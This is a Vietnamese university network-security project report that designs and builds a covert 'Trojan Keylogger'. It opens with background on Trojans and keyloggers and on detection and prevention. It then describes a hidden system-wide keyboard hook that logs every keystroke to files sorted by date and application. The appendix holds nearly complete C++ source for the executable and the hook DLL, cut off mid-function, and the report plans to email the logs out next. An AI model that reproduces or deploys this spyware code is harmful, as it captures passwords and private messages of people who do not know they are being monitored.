Tải bản đầy đủ (.doc) (25 trang)

đồ án xây dựng chương trình trojan keylogger

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (578.94 KB, 25 trang )

TRƯỜNG ĐẠI HỌC BÁCH KHOA

KHOA CÔNG NGHỆ THÔNG TIN

BỘ MÔN MẠNG VÀ TRUYỀN THÔNG



 

AN TOÀN THÔNG TIN MẠNG
Đề tài 15:

Xây dựng chương trình
Trojan Keylogger

Giáo viên hướng dẫn
Sinh viên thực hiện
Lớp
Nhóm

:
:
:
:

TS. NGUYỄN TẤN KHÔI
LÃ PHAN SƠN ANH
NGUYỄN HÀ HẢI ĐĂNG
ĐẶNG PHAN MINH HẢI
08T4


12

Đà Nẵng 2012


Báo Cáo An Toàn Thông Tin Mạng

MỤC LỤC
MỤC LỤC....................................................................................................................2
Chương 1. CƠ SỞ LÝ THUYẾT..................................................................................3
1.1 Giới thiệu................................................................................................................3
1.2 Tìm hiểu về Trojan..................................................................................................5
1.2.1 Các dạng Trojans cơ bản:..................................................................................5
1.2.2 Mục đích của những kẻ viết ra những Trojans:.................................................5
1.2.3 Những con đường để máy tính nạn nhân nhiễm Trojan:...................................6
1.2.4 Những cách nhận biết một máy tính bị nhiễm Trojan:......................................6
1.3 Giới thiệu về KeyLogger........................................................................................7
1.3.1 KeyLogger là gì?..............................................................................................7
1.3.2 Phân loại KeyLogger:.......................................................................................7
1.3.3 Cách hoạt động của KeyLogger:.......................................................................8
1.4 Cách phát hiện và phòng chống..............................................................................9
1.4.1 Cách phát hiện Trojan:......................................................................................9
1.4.2 Cách phòng chống:.........................................................................................13
Chương 2. PHÂN TÍCH VÀ THIẾT KẾ CHƯƠNG TRÌNH.....................................14
2.1 Mô tả bài toán.......................................................................................................14
2.2 Phân tích yêu cầu..................................................................................................14
2.2.1 Yêu cầu về chức năng:....................................................................................14
2.2.2 Yêu cầu về giao diện người dùng:...................................................................14
2.2.3 Yêu cầu về tương thích:..................................................................................14
2.3 Phân tích chức năng..............................................................................................14

2.4 Kỹ thuật Hook.......................................................................................................14
2.4.1 Giới thiệu:.......................................................................................................14
2.4.2 Chuỗi Hook:...................................................................................................15
2.4.3 Thủ tục Hook:.................................................................................................15
2.4.4 Cách sử dụng Hook:.......................................................................................16
2.5 Thuật toán.............................................................................................................17
2.5.1 Hàm WriteStringToFile(char *txt):.................................................................17
2.5.2 Hàm LogKeyboard:........................................................................................17
Chương 3. TRIỂN KHAI ĐÁNH GIÁ KẾT QUẢ.....................................................18
3.1 Môi trường triển khai............................................................................................18
3.2 Kết quả chức năng chương trình...........................................................................18
3.3 Ưu và nhược điểm.................................................................................................20
3.3.1 Ưu điểm:.........................................................................................................20
3.3.2 Nhược điểm:...................................................................................................20
3.4 Hướng phát triển...................................................................................................20
20
TÀI LIỆU THAM KHẢO...........................................................................................21
PHỤ LỤC...................................................................................................................22

SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4
2


Báo Cáo An Toàn Thông Tin Mạng

Chương 1.
1.1

CƠ SỞ LÝ THUYẾT


Giới thiệu
Một Trojan là một chương trình nhỏ chạy chế độ ẩn và gây hại cho máy tính.
Với sự trợ giúp của Trojan, một kẻ tất công có thể dễ dàng truy cập vào máy

tính của nạn nhân để thực hiện một số việc nguy hại như lấy cắp dữ liệu, xóa file, và
nhiều khả năng khác.

Cũng giống như Ngựa Thành Troy trong thần thoại trông có vẻ như là một món
quà, nhưng thực ra có chứa lính Hy Lạp, bọn chúng đã chiếm thành Troy. Trojan là
một chương trình dạng vi rút, một kẻ làm nội gián trong máy tính của bạn đã giúp cho
tên tin tặc (hacker) điều khiển máy tính của bạn, Trojan giúp tên tin tặc lấy những
thông tin quý báu của bạn, thậm chí hắn có thể xóa hoặc định dạng lại cả ổ cứng của
bạn nữa. Trojan có thể nhiễm vào máy của bạn qua tập tin gắn kèm thư điện tử mà
bạn đã vô tình tải về và chạy thử, hoặc có lẫn trong những chương trình trò chơi,
nhưng chương trình mà bạn không rõ nguồn gốc…
Ðể “moi ruột” được mật khẩu của các chủ thuê bao, hacker nội thường sử dụng
vi rút có họ Trojan (vi rút thành Troa) gửi đến các thuê bao cần tấn công thông qua
thư điện tử (e-mail) dưới dạng dữ liệu đính kèm (File Attachment). Chỉ cần khi các
chủ thuê bao vô tình mở file này, lập tức vi rút Trojan được kích động và tự động sao
SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4
3


Báo Cáo An Toàn Thông Tin Mạng

chép lại tất cả các thông số về mật khẩu của chủ thuê bao. Không chỉ là mật khẩu truy
cập Intemet mà ngay cả đến mật khẩu của hòm thư điện tử cũng dễ dàng bị đánh cắp.
Ngay sau khi chủ thuê bao kết nối Internet, vi rút Trojan sẽ bí mật sinh ra một e- mail
và gửi mật khẩu đánh cắp về cho “tin tặc”. Và sau đó mỗi lần thay đổi mật khẩu virus
Trojan sẽ tiếp tục lặng lẽ “tuồn” của ăn cắp tới một địa chỉ mà hacker nội đã định sẵn.

Ðể đánh lừa “nạn nhân”, “tin tặc” luôn tìm cách giăng ra những loại bẫy hết
sức tinh vi. Tinh vi đến nỗi không ít chủ thuê bao dù rất ‘kỹ tính” nhưng vẫn cứ “sập”
bẫy như thường. Phổ biến nhất là hacker nội đội lốt những tổ chức hay công ty có uy
tín để đánh lừa chủ thuê bao bằng chương trình phần mềm thư ma Ghostmail. “tin
tặc” dễ dàng thảo ra những e-mail mạo danh với nội dung: “Hiện giờ tình trạng đánh
cắp mật khẩu thuê bao đang rất phổ biến. Khi nhận được những tin kiểu như vậy, có
không ít thuê bao dễ dàng “cắn câu” và cứ “tự nhiên” cho chạy chương trình vi rút
Trojan mà không hề nhận thức được rằng họ đang “tự nguyện” hiến mình thành nạn
nhân của bọn “tin tặc”
Như vậy, khi Trojan được kích hoạt trên máy của bạn và khi bạn truy cập
Internet thì Trojan có thể lấy mật khẩu truy cập mạng, lấy danh sách thư điện tử và
thậm chí cả cấu hình máy tính của bạn để gửi cho một địa chỉ thư điện tử của tên tin
tặc. Nhưng nguy hiểm hơn, Trojan còn gửi cả địa chỉ mạng IP, là địa chỉ mà nhà cung
cấp dịch vụ mạng (ISP) gán cho bạn lúc truy cập; tên tin tặc sẽ sử dụng địa chỉ IP của
bạn để thiết lập kết nối từ máy tính của hắn tới máy tính của bạn qua mạng Internet.
Trojan sẽ lấy thông tin, xóa thông tin…
Tác hại của Trojan:
* Xoá hay viết lại các dữ liệu trên máy tính.
* Làm hỏng chức năng của các tệp.
* Lây nhiễm các phần mềm ác tính khác như là virus.
* Cài đặt mạng để máy có thể bị điều khiển bởi máy khác hay dùng máy nhiễm
để gửi thư nhũng lạm.
* Đọc lén các thông tin cần thiết và gửi báo cáo đến nơi khác.
* Ăn cắp thông tin như là mật khẩu và số thẻ tín dụng.
SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4
4


Báo Cáo An Toàn Thông Tin Mạng


* Đọc các chi tiết tài khoản ngân hàng và dùng vào các mục tiêu phạm tội.
* Cài đặt lén các phần mềm chưa được cho phép.
1.2

Tìm hiểu về Trojan
Kẻ tấn công có thể truy cập được vào các máy tính đã bị nhiễm Trojans khi

chúng Online. Sau đó có thể truy cập và điều khiển toàn bộ máy tính của nạn nhân, và
chúng có khả năng sử dụng vào nhiều mục đích khác nhau.

1.2.1

Các dạng Trojans cơ bản:

* Remote Access Trojans – Cho kẻ tấn công kiểm soát toàn bộ hệ thống từ xa.
* Data-Sending Trojans – Gửi những thông tin nhạy cảm cho kẻ tấn công.
* Destructive Trojans – Phá hủy hệ thống.
* Denied-of-Service – DoS Attack Trojan: Trojans cho tấn công DoS.
* Proxy Trojans.
* HTTP, FTP Trojans - Trojan tự tạo thành HTTP hay FTP server để kẻ tấn
công khai thác lỗi.
* Security Software Disable Trojan.
1.2.2

Mục đích của những kẻ viết ra những Trojans:

* Lấy thông tin của các tài khoản cá nhân như: Email, Password,…
* Những dữ liệu mật.
* Thông tin tài chính: Tài khoản ngân hàng…
* Sử dụng máy tính của nạn nhân để thực hiện một tác vụ nào đó, như để tấn

công, scan, hay làm ngập hệ thống mạng của nạn nhân.

SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4
5


Báo Cáo An Toàn Thông Tin Mạng

1.2.3

Những con đường để máy tính nạn nhân nhiễm Trojan:

* Qua các ứng dụng CHAT online như IRC – Interney Relay Chat.
* Qua các file được đính kèm trên Mail…
* Qua tầng vật lý như trao đổi dữ liệu qua USB, CD, HDD…
* Khi chạy một file bị nhiễm Trojan.
* Qua NetBIOS – FileSharing.
* Qua những chương trình nguy hiểm.
* Từ những trang web không tin tưởng hay những website cung cấp phần mềm
miễn phí.
* Nó có khả năng ẩn trong các ứng dụng bình thường, khi chạy ứng dụng đó
lập tức cũng chạy luôn Trojans.
1.2.4

Những cách nhận biết một máy tính bị nhiễm Trojan:

* Ổ CD-ROM tự động mở ra đóng vào.
* Máy tính có những dấu hiệu lạ trên màn hình.
* Hình nền của các cửa sổ Windows bị thay đổi…
* Các văn bản tự động in.

* Máy tinh tự động thay đổi font chữ và các thiết lập khác.
* Hình nền máy tính tự động thay đổi và không thể đổi lại.
* Chuột trái, chuột phải lẫn lộn.
* Chuột không hiển thị trên màn hình.
* Nút Start không hiển thị.

SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4
6


Báo Cáo An Toàn Thông Tin Mạng

1.3

Giới thiệu về KeyLogger
1.3.1

KeyLogger là gì?

Keylogger hay "trình theo dõi thao tác bàn phím" theo cách dịch ra tiếng
Việt là một chương trình máy tính ban đầu được viết nhằm mục đích theo dõi và ghi
lại mọi thao tác thực hiện trên bàn phím vào một tập tin nhật ký (log) để cho người cài
đặt nó sử dụng. Vì chức năng mang tính vi phạm vào riêng tư của người khác này nên
các trình keylogger được xếp vào nhóm các phần mềm gián điệp.
Về sau, khi keylogger phát triển cao hơn nó không những ghi lại thao tác bàn
phím mà còn ghi lại cả các hình ảnh hiển thị trên màn hình (screen) bằng cách chụp
(screen-shot) hoặc quay phim (screen-capture) thậm chí còn ghi nhận cách con
trỏ chuột trên máy tính di chuyển.
1.3.2


Phân loại KeyLogger:

Keylogger bao gồm hai loại, một loại keylogger phần cứng và một loại là phần
mềm.

Bài viết này nói đến loại phần mềm.
Theo những người lập trình, keylogger viết ra với chỉ có một loại duy nhất là

giúp các bạn giám sát con cái, người thân xem họ làm gì với PC, với internet,
khi chat với người lạ. Nhưng cách sử dụng và chức năng của keylogger hiện tại trên
thế giới khiến người ta thường hay phân loại keylogger theo mức độ nguy hiểm bằng
các câu hỏi:
Nhiễm vào máy không qua cài đặt/Cài đặt vào máy cực nhanh (quick install)?
Có thuộc tính ẩn/giấu trên trình quản lí tiến trình (process manager) và trình cài
đặt và gỡ bỏ chương trình (Add or Remove Program)?
Theo dõi không thông báo/PC bị nhiễm khó tự phát hiện?
Có thêm chức năng Capturescreen hoặc ghi lại thao tác chuột?
SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4
7


Báo Cáo An Toàn Thông Tin Mạng

Khó tháo gỡ?
Có khả năng lây nhiễm, chống tắt (kill process)?
Cứ mỗi câu trả lời "có", cho một điểm. Điểm càng cao, keylogger càng vượt
khỏi mục đích giám sát (monitoring) đến với mục đích do thám (spying) và tính nguy
hiểm nó càng cao. Keylogger có thể được phân loại theo số điểm:
Loại số 1
Không điểm: keylogger loại bình thường; chạy công khai, có thông báo cho

người bị theo dõi, đúng với mục đích giám sát.
Loại số 2
Một đến hai điểm: keylogger nguy hiểm; chạy ngầm, hướng đến mục đích do
thám nhiều hơn là giám sát (nguy hại đến các thông tin cá nhân như là tài khoản cá
nhân, mật khẩu, thẻ tín dụng vì người dùng không biết).
Loại số 3
Ba đến năm điểm: keylogger loại rất nguy hiểm; ẩn dấu hoàn toàn theo dõi trên
một phạm vi rộng, mục đích do thám rõ ràng.
Loại số 4
Sáu điểm: keylogger nguy hiểm nghiêm trọng, thường được mang theo bởi các
trojan-virus cực kỳ khó tháo gỡ, là loại keylogger nguy hiểm nhất. Chính vì vậy (và
cũng do đồng thời là “đồng bọn” của trojan-virus) nó thường hay bị các chương trình
chống virus tìm thấy và tiêu diệt.
1.3.3

Cách hoạt động của KeyLogger:

1.3.3.1

Thành phần của Keylogger

Thông thường, một chương trình keylogger sẽ gồm có ba phần chính:
Chương trình điều khiển (Control Program): dùng để theo điều phối hoạt động,
tinh chỉnh các thiết lập, xem các tập tin nhật ký cho Keylogger. Phần này là phần
được giấu kỹ nhất của keylogger, thông thường chỉ có thể gọi ra bằng một tổ hợp
phím tắt đặc biệt.

SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4
8



Báo Cáo An Toàn Thông Tin Mạng

Tập tin hook, hoặc là một chương trình monitor dùng để ghi nhận lại các thao
tác bàn phím, capture screen (đây là phần quan trọng nhất)
Tập tin nhật ký (log), nơi chứa đựng/ghi lại toàn bộ những gì hook ghi nhận
được.
Ngoài ra, tùy theo loại có thể có thêm phần chương trình bảo vệ (guard,
protect), chương trình thông báo (report)…

1.3.3.2

Cách thức cài đặt vào máy

Các loại keylogger từ 1 - 3 thông thường khi cài đặt vào máy cũng giống như
mọi chương trình máy tính khác, đều phải qua bước cài đặt. Đầu tiên nó sẽ cài đặt các
tập tin dùng để hoạt động vào một thư mục đặc biệt (rất phức tạp), sau đó đăng ký
cách thức hoạt động rồi đợi người dùng thiết lập thêm các ứng dụng. Sau đó nó bắt
đầu hoạt động.
Loại keylogger số 4 có thể vào thẳng máy của người dùng bỏ qua bước cài đặt,
dùng tính năng autorun để cùng chạy với hệ thống. Một số loại tự thả (drop) mình vào
các chương trình khác, để khi người dùng sử dụng các chương trình này keylogger sẽ
tự động chạy theo.
1.3.3.3

Cách hoạt động

Trong một hệ thống (Windows, Linux, Mac…), khi bấm 1 phím trên bàn phím,
bàn phím sẽ chuyển nó thành tính hiệu chuyển vào CPU. CPU sẽ chuyển nó tới hệ
điều hành để hệ điều hành dịch thành chữ hoặc số cho chính nó hoặc các chương trình

khác sử dụng.
Nhưng khi trong hệ thống đó có keylogger, không những chỉ có hệ điều hành
theo dõi mà cả hook file/monitor program của keylogger theo dõi nó sẽ ghi nhận và
dịch lại các tính hiệu ghi vào tập tin nhật ký. Đồng thời nó còn có thể theo dõi cả màn
hình và thao tác chuột.
1.4 Cách phát hiện và phòng chống
1.4.1

Cách phát hiện Trojan:

Có ba nguyên lý của bất kỳ chương trình Trojan nào:
SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4
9


Báo Cáo An Toàn Thông Tin Mạng

- Một trojan muốn hoạt động phải lắng nghe các request trên một cổng nào đó
- Một chương trình đang chạy sẽ phải có TÊN trong Process List
- Một chương trình Trojan sẽ luôn chạy cùng lúc khi máy tính khởi động.
1.4.1.1

Phát hiện Port sử dụng bởi Trojans:

- Dùng câu lệnh Netstat –an trong windows để biết hệ thống đang lắng nghe
trên các port nào.
+ Hình dưới ta thấy có port 7777 – đây là port của Tini Trojan.
+ Ta thấy port 8800 đang để chế độ nghe và có máy đang kết nối đến, đó có thể
là của Trojans.


- Dùng phần mềm Fport
- Dùng phần mềm TCPView
Ta có thể xem toàn bộ các port đang sử dụng và chương trình gì đang sử dụng
port nào.
Từ đây ta có thể kiểm tra các dịch vụ mạng với những Port nghi ngờ ta có thể
dùng Firewall đóng lại.

SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4
10


Báo Cáo An Toàn Thông Tin Mạng

SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4
11


Báo Cáo An Toàn Thông Tin Mạng

1.4.1.2

Cách phát hiện các chương trình đang chạy:

- Dùng phần mềm Process Viewer tất cả các Process sẽ được hiển thị dù có
đang chạy chế độ ẩn và không hiện trên Task Manager của Windows.

SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4
12



Báo Cáo An Toàn Thông Tin Mạng

1.4.1.3

Tìm một chương trình chạy lúc khởi động:

- Trong Startup
- Trong Registry: Đa số sẽ nằm tại đây: Chúng ta sử dụng câu lệnh Msconfig
trong Table Startup chương trình nào muốn chạy tự động sẽ phải nằm tại đây.
Trong ví dụ này có file nc.exe chạy lúc khởi động vị trí của nó là tại folder
c:\vnexperts.net

1.4.2

Cách phòng chống:

- Không sử dụng các phần mềm không tin tưởng (đôi khi tin tưởng vẫn bị dính
Trojans).
- Không vào các trang web nguy hiểm, không cài các ActiveX và JavaScript
trên các trang web đó bởi có thể sẽ đính kèm Trojans.
- Tối quan trọng là phải update OS thường xuyên.
- Cài phần mềm diệt virus uy tín như: Kaspersky Internet Security, Norton
Internet Security, và Mcafee Total Security. Sau khi cài các phần mềm này bạn hãy
update nó thường xuyên.

SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4
13


Báo Cáo An Toàn Thông Tin Mạng


Chương 2.
2.1

PHÂN TÍCH VÀ THIẾT KẾ CHƯƠNG TRÌNH

Mô tả bài toán
Xây dựng một chương trình Trojan Keylogger có khả năng ghi lại các thao tác

bàn phím của các chương trình mà người dùng đang sử dụng.
2.2

Phân tích yêu cầu
2.2.1

Yêu cầu về chức năng:

Chương trình ghi lại toàn bộ thao tác phím của người dùng và lưu ra một tập
tin văn bản.
2.2.2

Yêu cầu về giao diện người dùng:

Đây là chương trình mang tính chất gián điệp nên sẽ được chạy ẩn trong hệ
thống và không có giao diện đồ họa, người dùng chỉ có thể xem qua Task Manager.
2.2.3

Yêu cầu về tương thích:

Để đảm bảo có sự tương tác tốt nhất với window, trong chương trình này

chúng em đã sử dụng ngôn ngữ C++ trên môi trường Dev C++, Visual C++.
2.3

2.4

Phân tích chức năng
-

Phân tích các tiến trình, cửa sổ đang nhâp dữ liệu.

-

Ghi lại toàn bộ thao tác bàn phím.

-

Lưu ra các tập tin văn bản theo ngày tháng và tên ứng dụng.

Kỹ thuật Hook
2.4.1

Giới thiệu:

Hook là một kỹ thuật xử lý thông điệp rất mạnh cho phép chúng ta can thiệp
sâu vào các tiến trình khác nhau, nhưng nó làm ảnh hưởng tới tốc độ của hệ thống,
nhất là hook system-wide, vì tất cả các sự kiện của hệ thống sẽ được định hướng tới
một hàm nào đó, rõ ràng điều này làm hệ thống chậm đi đáng kể. Vì thế ta chỉ hên

SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4
14



Báo Cáo An Toàn Thông Tin Mạng

hook những thông điệp thật cần thiết và kết thúc việc hook ngay khi không dùng đến
nữa.
Các mô hình Hook:
- Local hook: là kỹ thuật Hook dùng để bẫy sự kiện ngay trong tiến trình cài
đặt.
- Remote hook: là kỹ thuật Hook cho phép bẫy các sự kiện thuộc tiến trình của
ứng dụng khác. Trong mô hình này lại tồn tại hai kiểu hook khác :
+ Thread-specific : kiểu Hook này sẽ bẫy sự kiện của một luồng cụ thể.
+ System-wide : bẫy sự kiện của tất cả các luồng trong tất cả các tiến
trình đang thi hành trong hệ thống.
Thành phần của Hook:
• Chuỗi Hook
• Thủ tục Hook
• Các kiểu Hook
2.4.2

Chuỗi Hook:

Hệ thống có khả năng hỗ trợ nhiều kiểu hook khác nhau, mỗi kiểu lại được quy
định một cách thức truy nhập khác nhau trong kỹ thuật điều khiển thông điệp. Do vậy,
hệ thống duy trì một chuỗi các hook cho mỗi một kiểu hook khác nhau.
Một chuỗi hook là một danh sách các con trỏ đặc biệt, nó được trỏ tới các hàm
CallBack gọi là hook procedure (thủ tục hook). Như vậy khi một sự kiện xuất hiện, hệ
thống sẽ chuyển sự kiện đó tới các thủ tục hook được tham chiếu bới chuỗi hook theo
thứ tự lần lượt. Vì thế phải thực hiện xong thủ tục này mới được gọi thủ tục kế tiếp.
2.4.3


Thủ tục Hook:

Thủ tục hook sẽ là nơi thực hiện các thao tác sau khi bắt được một sự kiện
mong muốn. Các thủ tục hook phụ thuộc vào các kiểu hook khác nhau mà có cấu trúc,
chức năng khác nhau. Có thủ tục chỉ có thể điều khiển thông điệp, một số khác có thể
sửa đổi thông điệp, dừng tiến trình của thông điệp, ngăn cản thực hiện hook tiếp theo
hoặc đưa tới cửa sổ cuối cùng …
SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4
15


Báo Cáo An Toàn Thông Tin Mạng

Thủ tục hook có dạng chung như sau:
LRESULT CALLBACK HookProc( int nCode, WPARAM wParam,
LPARAM lParam );
Trong đó :
- HookProc: là tên đại diện của thủ tục hook được cài đặt
- nCode : Đây là mã hook, nó quyết định toàn bộ hoạt động của thủ tục hook,
mã hook phụ thuộc vào kiểu hook và mỗi kiểu hook được gán cho một ký tự để thiết
lập mã hook.
- wParam, lParam: Hai tham số này chứa các thông tin về thông điệp được
hook và nó phụ thuộc vào mã hook (nCode).
2.4.4
2.4.4.1

Cách sử dụng Hook:
Cài đặt Hook


Ta có thể cài đặt thủ tục hook vào chuỗi hook bằng việc gọi hàm
SetWindowsHookEx và chỉ ra kiểu hook đang gọi thủ tục, việc cài đặt hook có thể
thực hiện trên mọi tiến trình trong hệ thống.
Nếu sử dụng hook toàn cục thì phải đặt trong thư viện liên kết động (DLL).
Ứng dụng muốn sử dụng thư viện liên kết động phải lấy được handle của thư viện đó.
Để nhận Handle của thư viện liên kết động ta có thể sử dụng hàm LoadLibrary với
tham số là tên của thư viện. Sau khi có được Handle của DLL, ta sẽ lấy địa chỉ của thủ
tục hook trong thư viện liên kết động thông qua hàm GetProcAddress. Sau khi đã có
thủ tục hook, sử dụng hàm SetWindowsHookEx để cài đặt thủ tục hook vào trong
chuỗi hook.
2.4.4.2

Giải phóng Hook

Như đã nói thì hook nên được bỏ đi nếu như không cần thiết nữa bằng cách sử
dụng hàm UnhookWindowsHookEx.
Với thread-specific hook, việc sử dụng hàm UnhookWindowsHookEx sẽ giải
phóng thủ tục hook. Tuy nhiên với hook toàn tục (system-wide hook) thì hàm này
không thể trả tự do cho hàm DLL. Việc gọi hàm LoadLibrary sẽ gọi trong ngữ cảnh
của tất cả các tiến trình, tuy nhiên hàm FreeLibrary thì không thể thực hiện với các
SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4
16


Báo Cáo An Toàn Thông Tin Mạng

tiến trình khác. Vì vậy, không có cách nào để giải phóng DLL. Hệ thống chỉ có thể
giải phóng DLL khi tất cả các tiến trình liên kết tới DLL đó phải kết thúc hoặc gọi
FreeLibrary.
Giải pháp đặt ra cho vấn đề này là xây dựng hàm cài đặt ngay trong thư viện

DLL. Bằng việc liên kết tới DLL, ứng dụng có thể cài đặt hook. Và ngay trong DLL
cũng phải có hàm giải phóng hook để giải phóng khi không cần đến nữa.
2.5

Thuật toán
2.5.1

Hàm WriteStringToFile(char *txt):

- Gọi hàm GetLocalTime(&st) để lấy thời gian của hệ thống gán vào st.
- Gọi hàm GetForegroundWindow() để lấy địa chỉ của cửa sổ đang sử dụng.
- Truyền địa chỉ cửa sổ vừa tìm được vào hàm GetWindowThreadProcessId
để lấy địa chỉ ứng dụng đang chạy vào biến processID.
- Mở (nếu đã có) hoặc tạo mới (nếu chưa có) một file text với tên là ngày và
tên ứng dụng đang chạy.
sprintf(str,"d:\\key-%d_%d_%d-%s.txt",st.wYear,st.wMonth,st.wDay,
GetExecutor(processID));
out=fopen(str,"a");

- Ghi kí tự txt vào file vừa mở.
2.5.2

Hàm LogKeyboard:

- Khai báo 1 con trỏ keycode kiểu KBDLLHOOKSTRUCT chứa thông tin sự
kiện đầu vào của bàn phím.
- Nếu phím bấm là cái phím đặc biệt thì gọi hàm WriteStringToFile để ghi
vào file những cụm từ tương ứng với phím đó.
if
if

if
if
if
if
if
if

if (keycode->vkCode == VK_RETURN) WriteStringToFile("{Enter}");
(keycode->vkCode == VK_BACK) WriteStringToFile("{Backspace}");
(keycode->vkCode == VK_DELETE) WriteStringToFile("{Delete}");
(keycode->vkCode == VK_HOME) WriteStringToFile("{Home}");
(keycode->vkCode == VK_END) WriteStringToFile("{End}");
(keycode->vkCode == VK_LEFT) WriteStringToFile("{Left}");
(keycode->vkCode == VK_RIGHT) WriteStringToFile("{Right}");
(keycode->vkCode == VK_UP) WriteStringToFile("{Up}");
(keycode->vkCode == VK_DOWN) WriteStringToFile("{Down}");

- Còn lại thì ghi vào file với kí tự tương ứng của phím bấm đó.
SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4
17


Báo Cáo An Toàn Thông Tin Mạng

Chương 3.
3.1

TRIỂN KHAI ĐÁNH GIÁ KẾT QUẢ

Môi trường triển khai

Phần mềm được triển khai chạy thử trên các phiên bản của Win7.

3.2

Kết quả chức năng chương trình
Kết quả khi chạy chương trình.

Hình 1 – Chương trình Jaam.exe chạy ngầm

SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4
18


Báo Cáo An Toàn Thông Tin Mạng

Hình 2 – Sử dụng Ứng dụng Yahoo Messenger

Hình 3 – Kết quả ghi được từ chương trình

Hình 4 – Nội dung một tập tin log

SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4
19


Báo Cáo An Toàn Thông Tin Mạng

3.3

Ưu và nhược điểm

Sau khi triển khai chạy thử ứng dụng, nhóm chúng em rút ra các nhận xét đánh

giá sau:
3.3.1

Ưu điểm:

- Chương trình không làm tăng đáng kể thời gian hiển thị phím bấm.
- Chương trình ghi lại được 100% thao tác phím.
- Các tập tin ghi lại theo ngày và ứng dụng mà người sử dụng gõ phím thông
tin chính xác 100%.
3.3.2

Nhược điểm:

- Vẫn còn ký tự lạ trong bản log. Nguyên nhân là do các ký tự Unicode được
trả về từ chương trình Unikey.
- Vì chương trình bắt tất cả thao tác bàn phím của tất cả các ứng dụng được
chạy nên tạo ra hơi nhiều file text dư thừa.
3.4

Hướng phát triển
- Tạo ra file cấu hình cho chương trình Trojan đọc và xử lý để bắt phím bấm

của các ứng dụng mà người dùng quan tâm.
- Phát triển để Trojan tự gởi thông tin về mail.

SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4
20



Báo Cáo An Toàn Thông Tin Mạng

TÀI LIỆU THAM KHẢO

- Website wikipedia.org
- Software Requirement Specification Template IEEE
- An Analysis of the System
Salman A. Baset and Henning Schulzrinne
Department of Computer Science
Columbia University, New York NY 10027
{salman,hgs}@cs.columbia.edu
September 15, 2004

SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4
21


Báo Cáo An Toàn Thông Tin Mạng

PHỤ LỤC
Tập tin thi hành Jaam.exe
#include "stdafx.h"
#include <windows.h>
/* Declare Windows procedure */
LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM);
/* Make the class name into a global variable */
char szClassName[ ] = "WindowsApp";
HINSTANCE hinstDLL;
HHOOK hHook = NULL;

typedef VOID (*LOADPROC)(HHOOK hHook);
int WINAPI WinMain (HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpszArgument,
int nFunsterStil)
{

hinstDLL = LoadLibrary(TEXT("Hooker"));
if (hinstDLL == NULL) { MessageBox(0,L"Not found.",L"Error",0); return 0; }
HOOKPROC hpr = (HOOKPROC)GetProcAddress(hinstDLL,"LogKeyboard");
if (hpr == NULL) { MessageBox(0,L"Unvail lib.",L"Error",0); return 0; }
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, hpr, hinstDLL, 0);
if (hHook == NULL) { MessageBox(0,L"Corrupt lib.",L"Error",0); return 0; }
LOADPROC lpr = (LOADPROC)GetProcAddress(hinstDLL,"SetGlobalHook");
lpr(hHook);
HWND hwnd;
MSG messages;

/* This is the handle for our window */
/* Here messages to the application are saved */

/* Run the message loop. It will run until GetMessage() returns 0 */
while (GetMessage (&messages, NULL, 0, 0))
{
/* Translate virtual-key messages into character messages */
TranslateMessage(&messages);
/* Send message to WindowProcedure */
DispatchMessage(&messages);
}


}

/* The program return-value is 0 - The value that PostQuitMessage() gave */
return messages.wParam;

/* This function is called by the Windows function DispatchMessage() */
LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam,
LPARAM lParam)
{
switch (message)
/* handle the messages */
{
case WM_DESTROY:

SVTH: Sơn Anh – Hải Đăng – Minh Hải – 08T4
22


Báo Cáo An Toàn Thông Tin Mạng
PostQuitMessage (0);
/* send a WM_QUIT to the message queue */
UnhookWindowsHookEx(hHook);
hHook=NULL;
break;
default:
/* for messages that we don't deal with */
return DefWindowProc (hwnd, message, wParam, lParam);
}
return 0;
}


Thư viện Hooker.dll
// dllmain.cpp : Defines the entry point for the DLL application.
#include <windows.h>
#include <conio.h>
#include <stdio.h>
#include <ctype.h>
#include <string>
#include <tchar.h>
#include <stdio.h>
#include
#pragma data_seg(".SHARDAT")
HHOOK hGlobalHook = NULL;
FILE *out;
#pragma data_seg()
int PrintModules( DWORD processID );
void WriteStringToFile(char *txt);
void WriteEnterToFile();
LRESULT CALLBACK LogKeyboard(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode == HC_ACTION && wParam == WM_KEYDOWN)
{
bool isDownShift = ((GetKeyState(VK_SHIFT) & 0x80) == 0x80 ? true : false);
bool isDownCapslock = (GetKeyState(VK_CAPITAL) != 0 ? true : false);
bool isDownCtrl = ((GetKeyState(VK_CONTROL) & 0x80) == 0x80 ? true : false);
byte keyState[256];
GetKeyboardState(keyState);
WORD w;
KBDLLHOOKSTRUCT* keycode = (KBDLLHOOKSTRUCT*)lParam;
if (keycode->vkCode == VK_RETURN) WriteStringToFile("{Enter}");

if (keycode->vkCode == VK_BACK) WriteStringToFile("{Backspace}");
if (keycode->vkCode == VK_DELETE) WriteStringToFile("{Delete}");
if (keycode->vkCode == VK_HOME) WriteStringToFile("{Home}");
if (keycode->vkCode == VK_END) WriteStringToFile("{End}");
if (keycode->vkCode == VK_LEFT) WriteStringToFile("{Left}");
if (keycode->vkCode == VK_RIGHT) WriteStringToFile("{Right}");
